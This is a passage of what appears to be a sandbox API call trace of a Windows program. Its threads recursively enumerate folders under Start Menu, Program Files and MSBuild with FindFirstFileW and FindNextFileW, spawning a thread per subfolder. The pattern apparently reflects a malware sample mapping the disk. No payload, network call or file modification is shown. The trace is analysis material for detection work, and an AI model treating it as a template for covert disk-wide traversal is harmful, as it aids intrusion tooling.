_Source="Microsoft Office 2010 Tools" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools" [0145.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x938cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xec0 [0145.985] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft OneNote 2010.lnk", cAlternateFileName="MI807F~1.LNK")) returned 1 [0145.985] wcscmp (_String1="Microsoft OneNote 2010.lnk", _String2=".") returned 1 [0145.985] wcscmp (_String1="Microsoft OneNote 2010.lnk", _String2="..") returned 1 [0145.985] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Outlook 2010.lnk", cAlternateFileName="MI4465~1.LNK")) returned 1 [0145.985] wcscmp (_String1="Microsoft Outlook 2010.lnk", _String2=".") returned 1 [0145.985] wcscmp (_String1="Microsoft Outlook 2010.lnk", _String2="..") returned 1 [0145.985] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft PowerPoint 2010.lnk", cAlternateFileName="MIAF79~1.LNK")) returned 1 [0145.985] wcscmp (_String1="Microsoft PowerPoint 2010.lnk", _String2=".") returned 1 [0145.985] wcscmp (_String1="Microsoft PowerPoint 2010.lnk", _String2="..") returned 1 [0145.985] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11c60a0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb77, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Project 2010.lnk", cAlternateFileName="MI6860~1.LNK")) returned 1 [0145.985] wcscmp (_String1="Microsoft Project 2010.lnk", _String2=".") returned 1 [0145.985] wcscmp (_String1="Microsoft Project 2010.lnk", _String2="..") returned 1 [0145.985] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Publisher 2010.lnk", cAlternateFileName="MI260D~1.LNK")) returned 1 [0145.986] wcscmp (_String1="Microsoft Publisher 2010.lnk", _String2=".") returned 1 [0145.986] wcscmp (_String1="Microsoft Publisher 2010.lnk", _String2="..") returned 1 [0145.986] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SharePoint Workspace 2010.lnk", cAlternateFileName="MICROS~3.LNK")) returned 1 [0145.986] wcscmp (_String1="Microsoft SharePoint Workspace 2010.lnk", _String2=".") returned 1 [0145.986] wcscmp (_String1="Microsoft SharePoint Workspace 2010.lnk", _String2="..") returned 1 [0145.986] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8735be00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8735be00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x87381f60, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xacf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Visio 2010.lnk", cAlternateFileName="MI7E65~1.LNK")) returned 1 [0145.986] wcscmp (_String1="Microsoft Visio 2010.lnk", _String2=".") returned 1 [0145.986] wcscmp (_String1="Microsoft Visio 2010.lnk", _String2="..") returned 1 [0145.986] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780aa830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780aa830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780aa830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Word 2010.lnk", cAlternateFileName="MI109D~1.LNK")) returned 1 [0145.986] wcscmp (_String1="Microsoft Word 2010.lnk", _String2=".") returned 1 [0145.986] wcscmp (_String1="Microsoft Word 2010.lnk", _String2="..") returned 1 [0145.986] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780aa830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780aa830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780aa830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Word 2010.lnk", cAlternateFileName="MI109D~1.LNK")) returned 0 [0145.986] FindClose (in: hFindFile=0x9421b0 | out: hFindFile=0x9421b0) returned 1 [0145.986] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90fba8) returned 1 [0145.986] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ebed8) returned 1 [0145.986] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fad10) returned 1 Thread: id = 1945 os_tid = 0x750 [0141.691] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e6758 [0141.691] wcscpy (in: _Dest=0x8e6758, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint" [0141.692] wcscat (in: _Dest=0x8e6758, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\" [0141.692] wcscat (in: _Dest=0x8e6758, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\*" [0141.692] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911af0 [0141.692] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\*", lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9421f0 [0141.692] wcscmp (_String1=".", _String2=".") returned 0 [0141.692] FindNextFileW (in: hFindFile=0x9421f0, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.693] wcscmp (_String1="..", _String2=".") returned 1 [0141.693] wcscmp (_String1="..", _String2="..") returned 0 [0141.693] FindNextFileW (in: hFindFile=0x9421f0, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SharePoint Workspace 2010.lnk", cAlternateFileName="MICROS~1.LNK")) returned 1 [0141.693] wcscmp (_String1="Microsoft SharePoint Workspace 2010.lnk", _String2=".") returned 1 [0141.693] wcscmp (_String1="Microsoft SharePoint Workspace 2010.lnk", _String2="..") returned 1 [0141.693] FindNextFileW (in: hFindFile=0x9421f0, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SharePoint Workspace 2010.lnk", cAlternateFileName="MICROS~1.LNK")) returned 0 [0141.693] FindClose (in: hFindFile=0x9421f0 | out: hFindFile=0x9421f0) returned 1 [0141.694] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911af0) returned 1 [0141.694] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6758) returned 1 [0141.694] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7708) returned 1 Thread: id = 1946 os_tid = 0x4a8 [0141.700] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f7708 [0141.700] wcscpy (in: _Dest=0x8f7708, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" [0141.700] wcscat (in: _Dest=0x8f7708, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" [0141.700] wcscat (in: _Dest=0x8f7708, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*" [0141.700] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911af0 [0141.700] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9421f0 [0141.700] wcscmp (_String1=".", _String2=".") returned 0 [0141.700] FindNextFileW (in: hFindFile=0x9421f0, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.700] wcscmp (_String1="..", _String2=".") returned 1 [0141.700] wcscmp (_String1="..", _String2="..") returned 0 [0141.700] FindNextFileW (in: hFindFile=0x9421f0, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2832bdaf, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0141.700] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0141.700] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0141.700] FindNextFileW (in: hFindFile=0x9421f0, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2832bdaf, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0141.700] FindClose (in: hFindFile=0x9421f0 | out: hFindFile=0x9421f0) returned 1 [0141.701] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911af0) returned 1 [0141.701] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7708) returned 1 [0141.701] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7790) returned 1 Thread: id = 1947 os_tid = 0x708 [0141.701] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6758 [0141.701] wcscpy (in: _Dest=0x8e6758, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC" [0141.702] wcscat (in: _Dest=0x8e6758, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\" [0141.702] wcscat (in: _Dest=0x8e6758, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\*" [0141.702] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911af0 [0141.702] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\*", lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9421f0 [0141.702] wcscmp (_String1=".", _String2=".") returned 0 [0141.702] FindNextFileW (in: hFindFile=0x9421f0, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.702] wcscmp (_String1="..", _String2=".") returned 1 [0141.702] wcscmp (_String1="..", _String2="..") returned 0 [0141.702] FindNextFileW (in: hFindFile=0x9421f0, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0141.702] FindClose (in: hFindFile=0x9421f0 | out: hFindFile=0x9421f0) returned 1 [0141.702] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911af0) returned 1 [0141.702] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6758) returned 1 [0141.702] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7818) returned 1 Thread: id = 1948 os_tid = 0x74c [0141.703] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f7818 [0141.703] wcscpy (in: _Dest=0x8f7818, _Source="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" [0141.703] wcscat (in: _Dest=0x8f7818, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\" [0141.703] wcscat (in: _Dest=0x8f7818, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*" [0141.703] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911af0 [0141.703] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*", lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9421f0 [0141.704] wcscmp (_String1=".", _String2=".") returned 0 [0141.704] FindNextFileW (in: hFindFile=0x9421f0, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.704] wcscmp (_String1="..", _String2=".") returned 1 [0141.704] wcscmp (_String1="..", _String2="..") returned 0 [0141.704] FindNextFileW (in: hFindFile=0x9421f0, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1 [0141.704] wcscmp (_String1="v1.0", _String2=".") returned 1 [0141.704] wcscmp (_String1="v1.0", _String2="..") returned 1 [0141.704] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6758 [0141.704] wcscpy (in: _Dest=0x8e6758, _Source="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" [0141.704] wcscat (in: _Dest=0x8e6758, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\" [0141.704] wcscat (in: _Dest=0x8e6758, _Source="v1.0" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0" [0142.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e6758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x704 [0142.806] FindNextFileW (in: hFindFile=0x9421f0, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0142.806] FindClose (in: hFindFile=0x9421f0 | out: hFindFile=0x9421f0) returned 1 [0142.807] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911af0) returned 1 [0142.807] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7818) returned 1 [0142.807] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0200) returned 1 Thread: id = 1949 os_tid = 0x748 [0141.704] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4a) returned 0x8e3ea0 [0141.704] wcscpy (in: _Dest=0x8e3ea0, _Source="C:\\Program Files\\MSBuild\\Microsoft" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft") returned="C:\\Program Files\\MSBuild\\Microsoft" [0141.704] wcscat (in: _Dest=0x8e3ea0, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\" [0141.704] wcscat (in: _Dest=0x8e3ea0, _Source="*" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\*") returned="C:\\Program Files\\MSBuild\\Microsoft\\*" [0141.705] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x908380 [0141.705] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*", lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942430 [0142.399] wcscmp (_String1=".", _String2=".") returned 0 [0142.399] FindNextFileW (in: hFindFile=0x942430, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.399] wcscmp (_String1="..", _String2=".") returned 1 [0142.399] wcscmp (_String1="..", _String2="..") returned 0 [0142.399] FindNextFileW (in: hFindFile=0x942430, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0142.399] wcscmp (_String1="Windows Workflow Foundation", _String2=".") returned 1 [0142.399] wcscmp (_String1="Windows Workflow Foundation", _String2="..") returned 1 [0142.399] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f7df0 [0142.399] wcscpy (in: _Dest=0x8f7df0, _Source="C:\\Program Files\\MSBuild\\Microsoft" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft") returned="C:\\Program Files\\MSBuild\\Microsoft" [0142.399] wcscat (in: _Dest=0x8f7df0, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\" [0142.399] wcscat (in: _Dest=0x8f7df0, _Source="Windows Workflow Foundation" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" [0144.746] CreateThread (in: 